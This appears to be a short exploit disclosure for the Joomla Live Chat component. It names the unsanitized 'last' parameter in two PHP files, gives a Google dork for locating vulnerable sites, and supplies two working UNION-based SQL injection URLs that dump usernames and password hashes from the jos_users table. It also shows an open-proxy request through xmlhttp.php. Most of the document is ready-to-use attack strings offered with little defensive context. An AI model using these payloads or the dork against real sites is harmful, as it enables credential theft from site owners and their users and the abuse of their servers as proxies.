Joomla Live Chat SQL Injection

`Joomla Live Chat  
  
http://www.joompolitan.com/livechat.html  
  
Google Dork: allinurl:option=com_livechat  
  
author: jdc  
  
  
SQL Injections:  
  
administrator/components/com_livechat/getChat.php && administrator/components/com_livechat/getSavedChatRooms.php don't sanitize the variable 'last':  
  
  
$last = (isset($_GET['last']) && $_GET['last'] != '') ? $_GET['last'] : 0;  
--------------------------------------------------------^  
  
administrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3,4%20from%20jos_users  
  
administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3%20from%20jos_users  
  
  
Open Proxy ( sends HTTP_FORWARDED ):  
  
administrator/components/com_livechat/xmlhttp.php?GET$01$2$3$4$5$http://www.google.com  
  
  
  
`